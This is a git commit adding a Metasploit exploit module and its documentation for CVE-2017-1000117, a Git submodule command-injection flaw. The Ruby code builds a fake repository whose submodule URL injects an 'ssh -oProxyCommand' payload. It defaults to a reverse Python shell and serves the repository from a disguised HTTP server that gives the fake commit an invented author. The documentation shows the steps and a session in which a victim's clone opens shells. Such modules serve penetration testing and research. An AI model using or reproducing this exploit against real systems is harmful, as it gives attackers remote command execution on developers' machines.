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Land #8826, git submodule remote command execution

bug/bundler_fix
Brent Cook 2017-08-29 18:11:32 -05:00
parent d5124fdc94 8928197584
commit 202c936868
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documentation/modules/exploit/multi/http/git_submodule_command_exec.md Normal file
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## Vulnerable Application
Git can be installed on a variety of operating systems, however
newer versions may contain the patch for this vulnerability.
On OSX it can be installed with the XCode command line tools:
```xcode-select --install```
On Linux it can be installed with apt:
```sudo apt-get update && sudo apt-get install git```
You can check the version with ```git --version```.
The fix is included in the following version:
2.7.6, 2.8.6, 2.9.5, 2.10.4, 2.11.3, 2.12.4, 2.13.5, 2.14.1
## Verification Steps
Example steps in this format:
1. Install the application
1. Start msfconsole
1. Do: ```use exploit/multi/http/git_submodule_command_exec```
1. Do: ```set SRVHOST [local host]```
1. Do: ```set LHOST [local host]```
1. Do: ```exploit```
1. Clone the malicious Git URI and its submodules
1. You should get a shell
## Options
**GIT_URI**
This is the URI the git repository will be hosted from (defaults to random).
**GIT_SUBMODULE**
This is the URI of the submodule within the git repository (defaults to random).
The url of this submodule, when cloned, will execute the payload.
## Scenarios
Example usage against a macOS Sierra x64 bit target running git version 2.10.1
```
msf > use exploit/multi/http/git_submodule_command_exec
msf exploit(git_submodule_command_exec) > set SRVHOST 192.168.0.1
SRVHOST => 192.168.0.1
msf exploit(git_submodule_command_exec) > set LHOST 192.168.0.1
LHOST => 192.168.0.1
msf exploit(git_submodule_command_exec) > exploit
[*] Exploit running as background job.
[*] Started reverse TCP handler on 192.168.0.1:4444
msf exploit(git_submodule_command_exec) > [*] Using URL: http://192.168.0.1:8080/D29MF1UC
[*] Server started.
[*] Malicious Git URI is http://192.168.0.1:8080/ldnwrixuqq.git
***
Victim executes: git clone http://192.168.0.1:8080/ldnwrixuqq.git --recurse-submodules
***
[*] Command shell session 1 opened (192.168.0.1:4444 -> 192.168.0.1:55151) at 2017-08-29 16:54:56 +0800
[*] Command shell session 2 opened (192.168.0.1:4444 -> 192.168.0.1:55152) at 2017-08-29 16:54:56 +0800
```

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modules/exploits/multi/http/git_submodule_command_exec.rb Normal file
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Malicious Git HTTP Server For CVE-2017-1000117',
'Description' => %q(
This module exploits CVE-2017-1000117, which affects Git
version 2.7.5 and lower. A submodule of the form 'ssh://' can be passed
parameters from the username incorrectly. This can be used to inject
commands to the operating system when the submodule is cloned.
This module creates a fake git repository which contains a submodule
containing the vulnerability. The vulnerability is triggered when the
submodules are initialised.
),
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2017-1000117'],
['URL', 'http://seclists.org/oss-sec/2017/q3/280' ]
],
'DisclosureDate' => 'Aug 10 2017',
'Targets' =>
[
[
'Automatic',
{
'Platform' => [ 'unix' ],
'Arch' => ARCH_CMD,
'Payload' =>
{
'Compat' =>
{
'PayloadType' => 'python'
}
}
}
]
],
'DefaultOptions' =>
{
'Payload' => 'cmd/unix/reverse_python'
},
'DefaultTarget' => 0
)
)
register_options(
[
OptString.new('GIT_URI', [false, 'The URI to use as the malicious Git instance (empty for random)', '']),
OptString.new('GIT_SUBMODULE', [false, 'The path to use as the malicious git submodule (empty for random)', ''])
]
)
end
def setup
@repo_data = {
git: { files: {} }
}
setup_git
super
end
def setup_git
# URI must start with a /
unless git_uri && git_uri =~ /^\//
fail_with(Failure::BadConfig, 'GIT_URI must start with a /')
end
payload_cmd = payload.encoded + " &"
payload_cmd = Rex::Text.to_hex(payload_cmd, '%')
submodule_path = datastore['GIT_SUBMODULE']
if submodule_path.blank?
submodule_path = Rex::Text.rand_text_alpha(rand(8) + 2).downcase
end
gitmodules = "[submodule \"#{submodule_path}\"]
path = #{submodule_path}
url = ssh://-oProxyCommand=#{payload_cmd}/
"
sha1, content = build_object('blob', gitmodules)
@repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
tree = "100644 .gitmodules\0#{[sha1].pack('H*')}"
tree += "160000 #{submodule_path}\0#{[sha1].pack('H*')}"
sha1, content = build_object('tree', tree)
@repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
## build the supposed commit that dropped this file, which has a random user/company
email = Rex::Text.rand_mail_address
first, last, company = email.scan(/([^\.]+)\.([^\.]+)@(.*)$/).flatten
full_name = "#{first.capitalize} #{last.capitalize}"
tstamp = Time.now.to_i
author_time = rand(tstamp)
commit_time = rand(author_time)
tz_off = rand(10)
commit = "author #{full_name} <#{email}> #{author_time} -0#{tz_off}00\n" \
"committer #{full_name} <#{email}> #{commit_time} -0#{tz_off}00\n" \
"\n" \
"Initial commit to open git repository for #{company}!\n"
sha1, content = build_object('commit', "tree #{sha1}\n#{commit}")
@repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
@repo_data[:git][:files]['/HEAD'] = "ref: refs/heads/master\n"
@repo_data[:git][:files]['/info/refs'] = "#{sha1}\trefs/heads/master\n"
end
# Build's a Git object
def build_object(type, content)
# taken from http://schacon.github.io/gitbook/7_how_git_stores_objects.html
header = "#{type} #{content.size}\0"
store = header + content
[Digest::SHA1.hexdigest(store), Zlib::Deflate.deflate(store)]
end
# Returns the Git object path name that a file with the provided SHA1 will reside in
def get_path(sha1)
sha1[0...2] + '/' + sha1[2..40]
end
def exploit
super
end
def primer
# add the git and mercurial URIs as necessary
hardcoded_uripath(git_uri)
print_status("Malicious Git URI is #{URI.parse(get_uri).merge(git_uri)}")
end
# handles routing any request to the mock git, mercurial or simple HTML as necessary
def on_request_uri(cli, req)
# if the URI is one of our repositories and the user-agent is that of git/mercurial
# send back the appropriate data, otherwise just show the HTML version
user_agent = req.headers['User-Agent']
if user_agent && user_agent =~ /^git\// && req.uri.start_with?(git_uri)
do_git(cli, req)
return
end
do_html(cli, req)
end
# simulates a Git HTTP server
def do_git(cli, req)
# determine if the requested file is something we know how to serve from our
# fake repository and send it if so
req_file = URI.parse(req.uri).path.gsub(/^#{git_uri}/, '')
if @repo_data[:git][:files].key?(req_file)
vprint_status("Sending Git #{req_file}")
send_response(cli, @repo_data[:git][:files][req_file])
else
vprint_status("Git #{req_file} doesn't exist")
send_not_found(cli)
end
end
# simulates an HTTP server with simple HTML content that lists the fake
# repositories available for cloning
def do_html(cli, _req)
resp = create_response
resp.body = <<HTML
<html>
<head><title>Public Repositories</title></head>
<body>
<p>Here are our public repositories:</p>
<ul>
HTML
this_git_uri = URI.parse(get_uri).merge(git_uri)
resp.body << "<li><a href=#{git_uri}>Git</a> (clone with `git clone #{this_git_uri}`)</li>"
resp.body << <<HTML
</ul>
</body>
</html>
HTML
cli.send_response(resp)
end
# Returns the value of GIT_URI if not blank, otherwise returns a random .git URI
def git_uri
return @git_uri if @git_uri
if datastore['GIT_URI'].blank?
@git_uri = '/' + Rex::Text.rand_text_alpha(rand(10) + 2).downcase + '.git'
else
@git_uri = datastore['GIT_URI']
end
end
end